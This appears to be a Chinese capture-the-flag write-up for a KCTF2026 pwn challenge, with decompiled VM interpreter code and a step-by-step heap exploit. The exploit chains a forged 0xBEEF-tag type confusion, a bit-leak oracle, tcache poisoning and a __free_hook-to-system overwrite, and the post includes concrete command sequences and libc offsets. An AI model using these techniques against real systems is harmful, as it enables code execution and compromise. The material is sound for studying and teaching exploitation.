-
-
[原创]KCTF2026 第十题:卯时·曦光初现(AI)
-
发表于: 1天前 396
-
VM 下标遍历的 BEEF-tag 伪头跳跃(类型混淆)→ 任意堆写/读原语 → "报错与否"位 oracle 泄漏 libc 与堆基准 → 按解析期 malloc/free 时间线精准操控 0x20 tcache → 毒化空闲块 fd = __free_hook → 让"下标向量"本身分配在 __free_hook 上,vector[0] = system 直接改写钩子 → 最后一行字符串 free 时触发 system("sh;...") → 交互 shell。
读法要点:
全局变量(交叉引用确认):
调度全景(命令 → 解析入口 → execute/物化函数):
sub_3A37 是 stoul 的 try/catch 包装(异常消息里带 "stoul" 字串):下标数字串为空时 stoul("") 抛 std::invalid_argument,未被捕获 → std::terminate → 直接 abort(这是起壳行不能带 x/空下标的根因)。
Assign 的 execute(sub_309E)——ctx[槽] = 右值节点.物化(arena):
List 的物化(sub_31DC)——在 arena cursor 处落盘,返回 0x1337<<48 | ptr:
BinOp 的 execute(sub_30DE)——8 种运算、全 64 位:
注意:它只拦 0x1337 高 16 位(列表句柄),其它高 16 位值(比如我们构造的 0xBEEF<<48)完全自由参与运算——伪头模板能通过 $4*$2、$7|$S 拼出来正赖于此。
下钻函数 sub_1EDA(整个漏洞的核心)——从节点头 p 前进 i 个"元素":
Load 的 execute(sub_36E6)——$d=$s[i][j]...:
Store 的 execute(sub_3886)——$d[i]=$s:
/*0x3a0a*/ 这条写指令就是 gdb tracer(gdbs18.txt)锚定的 Store 写点。
三处与堆利用直接相关的细节:operator new(0x30)(§4 表的步骤 2);token 构造与释放夹着 push_back(步骤 3/4/5);取 min(剩余长度, 数字串绝对结束位置) 的 quirk 使 15 位下标的 token 恰为 18 字符(数字+]=$),必然超过 SSO 的 15 字符而上堆。
对照 §1.3 的 sub_1EDA:一个元素"是标量还是子链表头",完全由它解密后的值的高 16 位是否等于 0xBEEF 决定——而这个值就是用户通过 Store 写入的数据(*p = cookie ^ ctx[s])。换句话说:用户数据可以伪装成结构体的类型标记,典型的类型混淆。
伪头构造(BinOp 64 位运算把值抬进高 16 位):
$1[1](单下标 1)的遍历过程:sub_1EDA(列表头, 1) 走第 1 个元素时检查 e0——发现它是 BEEF 头 → 递归 sub_1EDA(e0, SS) → 从 e1 起步进 SS 次(后续都是零/标量,每次 +8)→ 落点 = e0 + 8*SS。
第 k 个列表的 e0 地址 = arena_base + k*0x48 + 0x10(元素区起点,按 gdb 校准):
这就是 exp.py 里 S = (off - head - 0x10) // 8(head = NLIST*0x48)的来历。读原语:$8=$1[1] 把 *(落点) ^ cookie 装进 ctx(§1.3 Load 的 LABEL_16);写原语:$1[1]=$w 把 cookie ^ ctx[w] 写到落点(§1.3 Store 的 0x3a0a)。
静态初始化顺序(gdb 实测):tcache_perthread_struct(0x250) → 列表 arena(0x10010) → 之后所有按命令分配/释放的堆块。
也就是说,伪头跳跃的前方(更高地址)正好是解释器每条命令产生又释放的那批 0x20/0x30/0x40 小块——它们 free 后都挂在 tcache 里。SS 取 0x2000 多(字节距离 0x10000+)就能直接落在这些空闲块的 fd 字段上。
正常命令成功时什么都不打印(§1.1 的 main 只认 execute 的 bool 返回值),只有两种报错:invalid syntax!(解析失败)和 runtime error!(execute 返回 0)。所以任何信息都得变成"是否报错"的 1bit 信道——这就是 oracle。
目标:把某个 ctx 寄存器(如 $8,已还原成裸值)的第 i 位读出来。每个位用一组命令:
观测命令的双下标遍历(对照 §1.3 Load 的循环):
于是 报错=1、静默=0,36 位(bit 12..47)× 每位约 10 条命令,即可读回任意落点 qword。低 12 位不提取,直接用已知偏移补齐(见 3.3)。
读两个堆上残留的指针(都在列表 arena 之后、命令堆块区里,偏移为 gdb 实测常量):
再按本地 gdb 校准的固定修正(同版本二进制 + libc 远程完全一致):
得到 libc 后即可算 system = libc+0x4f420、__free_hook = libc+0x3ed8e8(Ubuntu 18.04 的 libc6 2.27-3ubuntu1.6,即题目自带 libc-2.27.so)。
这是整个堆利用的"乐谱"。静态依据是 §1.5 的 sub_1F91(下标语句解析器)源码,动态效果(free 后的 LIFO 复用)由 gdb 断在 malloc/free 上实测(g18/g21/g22.log)。对一条形如 $1[<15位下标>]=$v、行长 22 字符的命令,从读入到结束依次发生:
要点:
Phase 1 结束时 0x20-bin 的静止态(7 块,实测):
把链头空闲块 R0 的 fd(第一个 qword)改成 __free_hook,且这次写入不能被后续的 tcache_put 覆盖掉。
按 §4 时间线逐步推演(起点:链头 R0→R1→R2→…):
存活的关键:EXEC 写 fd 时,R0 已经是"回到 bin 里的空闲块",而它不是 p 自己的向量(向量是 R2)——destroy 压回的是 R2,不碰 R0 的 fd。最终链 R2 → R0 → __free_hook,这正是我们想要的静止态。
(写入合法性:Store 要求落点解密后高 16 位 ≠ 0xBEEF(§1.3)——R0 的 fd 是堆指针,显然满足。)
当前链头 R2 → R0 → __free_hook,按时间线:
也就是:下标向量这个 8 字节缓冲被分配在 __free_hook 上,解析器把"下标值 = system"写进 vector[0],等价于 *(__free_hook) = system。gdb 硬件断点实录(g22.log):malloc(0x8) = 0x7ffff73ed8e8(正是 __free_hook),下一个写操作后 watchpoint 报 __free_hook = 0x7ffff704f420(system)。
单下标 ⇒ 无 cap2;free(token) 发生在 cap1 之后 ⇒ 三连弹中间无压回——这是刻意用"单下标 + 22 字符行"达成的编排。
设计约束与理由:
所有十进制字面量固定 15 位宽度(前导零补齐)——这同时控制了行长(→ bin 归属)与 token 长度(→ 是否走堆分配)。
| 命令 | 解析入口 | execute / 物化 | 效果 |
|---|---|---|---|
$a + $b(- * / % ^ | & 同) |
sub_263C | sub_30DE(BinOp) | ctx[a] = ctx[a] op ctx[b],全 64 位、无截断;两操作数高 16 位均不得为 0x1337(列表句柄) |
$d=<十进制> / $d=[e0,e1,...] |
sub_2ABC | sub_309E(Assign)+ sub_31DC(List 物化) | 字面量只有 48 位有效(实测高位必须靠 BinOp 构造);列表落盘 arena,句柄 = 0x1337<<48 | ptr |
$d=$s / $d=$s[i][j]... |
sub_22D7 | sub_36E6(Load) | 无下标:ctx[d]=ctx[s];有下标:逐层下钻读元素(^cookie 解密) |
$d[i]=$s($d[i][j]=$s…) |
sub_1F91 | sub_3886(Store) | 逐层下钻,写 cookie ^ ctx[s];ctx[s] 不得为列表句柄 |
| 落点偏移(相对列表 arena) | 内容 | 用途 |
|---|---|---|
+0x10078 |
stderr 的 FILE*(= libc+0x3ec680) |
libc = 值 - 0x3ec680(低 12 位用 0x680 补) |
+0x10098 |
指向 arena_base+0x100f0 的自指针 |
列表arena基址 = 值 - 0x100f0(低 12 位用 0x0f0 补) |
| # | 动作 | 大小 → tcache bin | 说明 |
|---|---|---|---|
| 1 | malloc(行长+1) 行字符串 |
22 字符行 → malloc(0x17) → 0x20;≥25 字符 → 0x30 | main 的 _M_construct(§1.1 堆分配点①) |
| 2 | malloc(0x30) AST 节点 |
0x40 | sub_1F91 开头的 operator new(0x30uLL) |
| 3 | malloc(19) token |
0x20 | sub_1F91 循环里的 _M_construct:token = 下标数字串+]=$ 共 18 字符(15 位下标时);≤15 字符走 std::string SSO 不分配 |
| 4 | malloc(8) cap1(下标向量 0→1 增长) |
0x20 | sub_3C14(push_back 的 realloc 路径);分配后立刻 vector[0] = stoul 结果 |
| 5 | free(token) |
压回 0x20-bin 头部 | operator delete(v21[0])——紧跟在 push 之后 |
| 6 | (≥2 下标才有)malloc(0x10) cap2 |
0x20 | 弹出的是步骤 5 刚压回的 token 块;memcpy cap1→cap2,free(cap1) |
| 7 | free(行字符串) |
压回 | main 里 parse 返回后立刻 operator delete(v9) |
| 8 | EXEC(§1.3 的 Load/Store:遍历 + 读/写落点) | — | 真正执行漏洞逻辑 |
| 9 | destroy:free(向量缓冲)、free(节点) |
压回 | 节点是 0x40-bin |
| 步骤 | 动作 | 0x20-bin 链状态 |
|---|---|---|
| 1 | 行字符串 malloc → 弹 R0 | R1→R2→… |
| 3 | token malloc → 弹 R1 | R2→… |
| 4 | cap1 malloc → 弹 R2,vector[0]=1 |
…(后续块) |
| 5 | free(token):压回 R1 | R1→… |
| 7 | free(行字符串):压回 R0 | R0→R1→… |
| 8 | EXEC:伪头跳跃落点 = R0,写 *R0 = __free_hook(覆盖 fd=R1) |
R0→**__free_hook**(毒化生效) |
| 9 | destroy:free(向量=R2)、free(节点) | R2→R0→__free_hook |
| 步骤 | 动作 | 链状态 |
|---|---|---|
| 1 | 行字符串 malloc → 弹 R2 | R0→__free_hook |
| 3 | token malloc → 弹 R0(fd 已被 p 改写,读出 __free_hook) |
__free_hook |
| 4 | cap1 malloc → 弹出 __free_hook 本身;随后 vector[0] = system |
— |
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v3; // al
__int64 v5; // rax
_BYTE *v7; // rbx
_QWORD *v8; // rax
void *v9; // [rsp+0h] [rbp-168h] BYREF
char v10[16]; // [rsp+10h] [rbp-158h] BYREF
char buf[264]; // [rsp+20h] [rbp-148h] BYREF
unsigned __int64 v12; // [rsp+128h] [rbp-40h]
v12 = __readfsqword(0x28u); /*0x2d23*/
setvbuf(stream: stdin, buf: 0LL, modes: 2, n: 0LL); /*0x2d43*/
setvbuf(stream: stdout, buf: 0LL, modes: 2, n: 0LL); /*0x2d5e*/
setvbuf(stream: stderr, buf: 0LL, modes: 2, n: 0LL); /*0x2d79*/
memset(buf: buf, value: 0, count: 0x100uLL); /*0x2d8d*/
while ( 1 )
{
std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "> ", 2LL); /*0x2e4a*/
v6 = *(_QWORD *)(std::cin[0] - 24LL); /*0x2e53*/
v7 = *(_BYTE **)((char *)&std::cin[30] + v6); /*0x2e57*/
if ( !v7 ) /*0x2e62*/
std::__throw_bad_cast(); /*0x2dab*/
if ( v7[56] ) /*0x2e68*/
{
v3 = v7[67]; /*0x2e72*/
}
else
{
std::ctype<char>::_M_widen_init(*(_QWORD *)((char *)&std::cin[30] + v6)); /*0x2db3*/
v3 = (*(...)**)(*(_QWORD *)v7 + 48LL))(v7, 10LL); /*0x2dc3*/
}
v8 = (_QWORD *)std::istream::getline((std::istream *)std::cin, buf: buf, n256: 256LL, v3); /*0x2e84*/
if ( (*((_BYTE *)v8 + *(_QWORD *)(*v8 - 24LL) + 32) & 2) != 0 ) /*0x2e95*/
break; // EOF → 退出
if ( buf[0] ) /*0x2ea0*/
{
v9 = v10; /*0x2ea9*/
std::string::_M_construct<char const*>(&v9, buf, &buf[strlen(buf)]); /*0x2ed5*/ // 堆分配点①行字符串
v5 = sub_2B14(&v9, (unsigned int)buf); /*0x2df9*/ // parse → AST 节点
if ( v9 != v10 )
operator delete(v9); /*0x2e0a*/
if ( v5 ) /*0x2e12*/
{
if ( !(**(_QWORD ****)v5)(v5, &unk_2062A0) ) /*0x2e25*/ // vtable[0]=execute,参数 ctx@0x2062A0
{
std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "runtime error!", 14LL); /*0x2f1b*/
std::endl<char,std::char_traits<char>>(&std::cout); /*0x2f23*/
}
(*(void (__fastcall **)(__int64))(*(_QWORD *)v5 + 16LL))(v5); /*0x2e35*/ // vtable[0x10]=destroy
}
else
{
std::__ostream_insert<char,std::char_traits<char>>(&std::cout, "invalid syntax!", 15LL); /*0x2efa*/
std::endl<char,std::char_traits<char>>(&std::cout); /*0x2f02*/
}
}
}
return 0LL;
}
__int64 __fastcall sub_2B14(__int64 *a1, unsigned int buf) // a1 = 行字符串 {ptr, len}
{
...
n2 = a1[1]; // len
if ( !n2 ) return 0LL;
v3 = (_BYTE *)*a1; // 行首
if ( *v3 != 36 || n2 <= 1 ) return 0LL; // 必须以 '$' 开头
if ( (unsigned int)((char)v3[1] - 48) > 9 ) return 0LL; // '$' 后必须是数字
if ( n2 <= 2 ) return 0LL;
n2_1 = 2; // 从下标 2 起扫过数字串
if ( (unsigned int)((char)v3[2] - 48) > 9 )
{
LABEL_9:
v10 = v11; // 栈上 std::string(SSO)
v5 = v3 + 1; // token = '$' 之后的内容
n2_2 = n2 - 1;
if ( n2 - 1 > n2_1 ) n2_2 = n2_1;
std::string::_M_construct<char const*>(&v10, v5, (char *)n2_2 + v5); // token 子串
v9 = sub_3A37(&strtoul, "stoul", v10, 0LL, 10LL); // 槽号 = stoul(token)
if ( v10 != v11 )
operator delete(v10);
switch ( *((_BYTE *)n2_1 + *a1) ) // 数字串结束处是什么字符?
{
case '%': case '&': case '*': case '+':
case '-': case '/': case '^': case '|':
result = sub_263C(a1, n2_1, v9); // → BinOp 语句节点
break;
case '=':
result = 0LL;
if ( n2_1 + 1 < n2 )
{
n91 = *((_BYTE *)n2_1 + *a1 + 1); // '=' 后面跟什么?
if ( n91 == 36 ) // '$' → $d=$s 形态
result = sub_22D7(a1, n2_1 + 2, v9); // → Load 语句节点
else if ( n91 == 91 || (unsigned int)(n91 - 48) <= 9 ) // '[' 或数字
result = sub_2ABC(a1, n2_1 + 1, v9); // → Number/List 字面量节点
else
result = 0LL;
}
break;
case '[':
result = sub_1F91(a1, n2_1, v9); // → $d[...] Store 语句节点
break;
default:
result = 0LL; // 其余一律 invalid syntax!
break;
}
}
else { /* 继续扫数字串,直到非数字 → LABEL_9 */ }
return result;
}
__int64 __fastcall sub_309E(__int64 a1, __int64 a2) // a1=节点, a2=ctx
{
n0xFF = *(_QWORD *)(a1 + 16); // 目标槽号
result = 0LL;
if ( n0xFF <= 0xFF )
{
*(_QWORD *)(a2 + 8 * n0xFF) = (*(..**)(**(a1+8) + 16LL))(*(a1+8), &qword_206AA0);
// ↑ 调右值子节点 vtable+0x10,参数 = &arena{begin,cursor}
return 1LL;
}
return result; // 槽号 >255 → runtime error
}
__int64 __fastcall sub_31DC(__int64 a1, _QWORD *a2) // a2 = &qword_206AA0 = {begin, cursor}
{
n0x1FFF = (*(..**)(*(_QWORD *)a1 + 24LL))(a1); // 子节点 count()(vtable+0x18)
if ( n0x1FFF > 0x1FFF || (v3 = a2[1], v4 = v3 + 8 * n0x1FFF, v4 > *a2 + 0x10000LL)
|| (a2[1] = v4, !v3) ) // cursor+8n 超出 64KB arena
{
std::__ostream_insert<char,std::char_traits<char>>(&std::cout,
"run out of memory, garbage collection has not been implemented yet", 66LL);
std::endl<char,std::char_traits<char>>(&std::cout);
exit(1); // arena 满 = 直接退进程
}
(*(void (__fastcall **)(__int64, __int64))(*(_QWORD *)a1 + 32LL))(a1, v3); // 子节点.fill(头地址)(vtable+0x20)
return v3 | 0x1337000000000000LL; // ← 列表句柄 = 0x1337<<48 | ptr
}
__int64 __fastcall sub_30DE(__int64 a1, __int64 a2)
{
n0xFF_1 = *(_QWORD *)(a1 + 16); // 目标槽(左操作数)
result = 0LL;
if ( n0xFF_1 <= 0xFF )
{
n0xFF = *(_QWORD *)(a1 + 8); // 源槽(右操作数)
if ( n0xFF <= 0xFF )
{
v5 = *(_QWORD *)(a2 + 8 * n0xFF); // ctx[b]
if ( (v5 & 0xFFFF000000000000LL) != 0x1337000000000000LL ) // 不能是列表句柄
{
v6 = (unsigned __int64 *)(a2 + 8 * n0xFF_1); // &ctx[a]
v7 = *v6;
if ( (*v6 & 0xFFFF000000000000LL) != 0x1337000000000000LL )
{
switch ( *(_DWORD *)(a1 + 24) ) // 运算符编号
{
case 0: *v6 = v7 + v5; result = 1LL; break;
case 1: *v6 = v7 - v5; result = 1LL; break;
case 2: *v6 = v7 * v5; result = 1LL; break;
case 3: *v6 /= v5; result = 1LL; break;
case 4: *v6 = v7 % v5; result = 1LL; break;
case 5: *v6 = v7 ^ v5; result = 1LL; break;
case 6: *v6 = v7 | v5; result = 1LL; break;
case 7: *v6 = v7 & v5; result = 1LL; break;
default: result = 0LL; break;
}
}
}
}
}
return result;
}
_QWORD *__fastcall sub_1EDA(_QWORD *a1, unsigned __int64 i)
{
v2 = qword_206AB0; // cookie
v3 = *a1 ^ qword_206AB0; // 解密节点头
if ( (v3 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
return 0LL; // 头 tag 不是 BEEF → 失败
if ( (v3 & 0xFFFFFFFFFFFFuLL) < i )
return 0LL; // 下标 i 超过 size → 失败(只要求 i <= size)
result = a1 + 1; // r = 第一个元素
if ( i )
{
for ( j = 0LL; i != j; ++j )
{
if ( ((*result ^ v2) & 0xFFFF000000000000LL) == 0xBEEF000000000000LL )
{
result = sub_1EDA(result, (*result ^ v2) & 0xFFFFFFFFFFFFLL);
// ↑ 元素被当成"子链表头":递归跳跃,步长 = 元素低 48 位
if ( !result )
return result;
}
else
{
++result; // 标量:步进 8 字节
}
}
}
return result; // 返回"下标 i 元素"的地址
}
__int64 __fastcall sub_36E6(_QWORD *a1, __int64 a2)
{
n0xFF_1 = a1[1]; // 目标槽 d
result = 0LL;
if ( n0xFF_1 <= 0xFF )
{
n0xFF = a1[2]; // 源槽 s
if ( n0xFF <= 0xFF )
{
v5 = *(_QWORD *)(a2 + 8 * n0xFF); // ctx[s]
i_2 = a1[4]; i_3 = a1[3]; // 下标向量 [begin, end)
if ( i_3 == i_2 ) // 无下标:纯拷贝
{
*(_QWORD *)(a2 + 8 * n0xFF_1) = v5;
return 1LL;
}
result = 0LL;
if ( (v5 & 0xFFFF000000000000LL) == 0x1337000000000000LL ) // 必须是列表句柄
{
v8 = (_QWORD *)(v5 & 0xFFFFFFFFFFFFLL); // 节点头地址
...
i_1 = *i_3; // 第一个下标
v11 = *v8 ^ qword_206AB0; // 解密当前头
if ( (v11 & 0xFFFF000000000000LL) == 0xBEEF000000000000LL )
{
if ( i_1 >= (v11 & 0xFFFFFFFFFFFFuLL) ) // 下标越界检查(对每层都做)
return 0LL;
for ( i = i_3 + 1; ; ++i )
{
v8 = sub_1EDA(v8, i_1); // ← 下钻
if ( !v8 ) return 0LL;
if ( i_2 == i ) goto LABEL_16; // 最后一个下标 → 去读
i_1 = *i; // 下一个下标
v13 = *v8 ^ v10;
if ( (v13 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
return 0LL; // 中间落点必须是合法头
if ( i_1 >= (v13 & 0xFFFFFFFFFFFFuLL) )
return 0LL;
}
}
}
}
}
return result;
LABEL_16: // 读最终落点
v14 = qword_206AB0 ^ *v8;
result = 0LL;
if ( (v14 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
{
*(_QWORD *)(a2 + 8 * n0xFF_1) = v14; // ctx[d] = *落点 ^ cookie
return 1LL;
}
return result; // 落点解密后是 BEEF 头 → 拒读
}
__int64 __fastcall sub_3886(_QWORD *a1, __int64 a2)
{
n0xFF_1 = a1[1]; // 值槽 s
result = 0LL;
if ( n0xFF_1 <= 0xFF )
{
n0xFF = a1[2]; // 列表槽 d
if ( n0xFF <= 0xFF )
{
v5 = *(_QWORD *)(a2 + 8 * n0xFF_1); // ctx[s]
if ( (v5 & 0xFFFF000000000000LL) != 0x1337000000000000LL ) // 值不能是列表句柄
{
i_2 = a1[4]; i_3 = a1[3];
if ( i_3 == i_2 ) // 无下标:写回槽
{
*(_QWORD *)(a2 + 8 * n0xFF) = v5;
return 1LL;
}
v8 = *(_QWORD *)(a2 + 8 * n0xFF);
result = 0LL;
if ( (v8 & 0xFFFF000000000000LL) == 0x1337000000000000LL ) // 必须是列表句柄
{
v9 = (_QWORD *)(v8 & 0xFFFFFFFFFFFFLL); // 节点头
...
i_1 = *i_3; // 第一个下标
v12 = *v9 ^ qword_206AB0;
if ( (v12 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
return 0LL;
if ( i_1 >= (v12 & 0xFFFFFFFFFFFFuLL) )
return 0LL; // 越界 → runtime error
for ( i = i_3 + 1; ; ++i )
{
v14 = sub_1EDA(v9, i_1); // ← 下钻
v9 = v14;
if ( i == i_2 ) break; // 最后一个下标 → 去写
i_1 = *i;
v15 = *v14 ^ v11;
if ( (v15 & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
return 0LL; // 中间落点必须是合法头
if ( i_1 >= (v15 & 0xFFFFFFFFFFFFuLL) )
return 0LL;
}
result = 0LL;
if ( ((*v9 ^ qword_206AB0) & 0xFFFF000000000000LL) != 0xBEEF000000000000LL )
{
*v9 = qword_206AB0 ^ v5; // /*0x3a0a*/ 最终写:*落点 = cookie ^ ctx[s]
return 1LL;
}
}
}
}
}
return result;
}
_QWORD *__fastcall sub_1F91(__int64 a1, __int64 *n2, __int64 a3) // a1=行串{n2_1=扫描位置,a3=列表槽}
{
...
v6 = (_QWORD *)operator new(0x30uLL); /*0x1fc8*/ // ← AST 节点(0x40-bin)
*v6 = off_2059F8; // Store 节点虚表
v6[2] = a3; // 列表槽
v6[3] = v6[4] = v6[5] = 0LL; // 下标向量 {begin,end,cap} = 空
...
while ( 1 ) // 逐下标循环
{
n2_6 = n2_7; // 数字串起点('[' 之后)
if ( n2_3 > n2_7 && (n2_7[str]-48) <= 9 )
do ++n2_6; while ( n2_3 != n2_6 && (str[n2_6]-48) <= 9 ); // 扫到数字串尾
...
n2_9 = n2_8 - n2_7; // 剩余长度
if ( n2_9 > n2_6 ) n2_9 = n2_6; // ← 注意:与"绝对位置"取 min(quirk)
std::string::_M_construct<char const*>(v21, v15, &v15[n2_9]); // ← token 子串构造
// 15 位下标 → 18 字符"数字]=$" → malloc(19)
v12 = sub_3A37(&strtoul, "stoul", v21[0], 0LL, 10LL); // 下标 = stoul(token)
v20 = v12;
n2 = v6[4];
if ( n2 == v6[5] ) // end == cap → 容量满
sub_3C14(v6 + 3, n2, &v20); // ← push_back 扩容:cap1=malloc(8)+写入
else
{
*n2 = v12; // 有空位:直接写
v6[4] += 8LL;
}
if ( v21[0] != v22 )
operator delete(v21[0]); // ← token 释放(在 push 之后!)
if ( n2_3 <= n2_6 ) break;
if ( str[n2_6] != ']' ) break;
...
n2_7 = n2_6 + 2; // 下一个 '[' 之后继续
}
...
v6[1] = sub_3A37(&strtoul, "stoul", v21[0], 0LL, 10LL); // '=$n' 的值槽
return v6;
}
$2=281474976710656 # 2^48
$4=48879; $4*$2 # ctx4 = 0xBEEF000000000000 ← 伪头模板
$7=$4; $7|$SS # ctx7 = 0xBEEF000000000000 | SS ← 拼上跳跃步长
$1[0]=$7 # 种进元素0 → 这个列表的 e0 变成"大小为 SS 的子链表头"
落点 = arena_base + k*0x48 + 0x10 + 8*SS
⟹ SS = (目标偏移 - k*0x48 - 0x10) / 8
$1=[0,0,0,0,0,0,0,0] # 新建第 k 个列表(头在 k*0x48,前方全是未用零区)
$3=2^i # 位掩码(i≥48 时:$3=2^(i-48); $3*$2 抬高位)
$6=1; $7=$4; $7|$6; $1[1]=$7 # e1 植入伪头 BEEF|1(跳跃步长 1)
$6=$8; $6&$3; $6/$3; $6*$5 # $6 = ((v>>i)&1) * 2000 ← 待测位放大成 0 或 2000
$7=$4; $7|$6; $1[0]=$7 # e0 植入伪头 BEEF|(bit*2000)
$0=$1[1][0] # 观测命令:报错 ⟺ bit=1
堆基准 = 自指针 - 0x100f0 - 0xe170
R0(0x20-bin 链头空闲块用户指针)= 堆基准 + 0x10240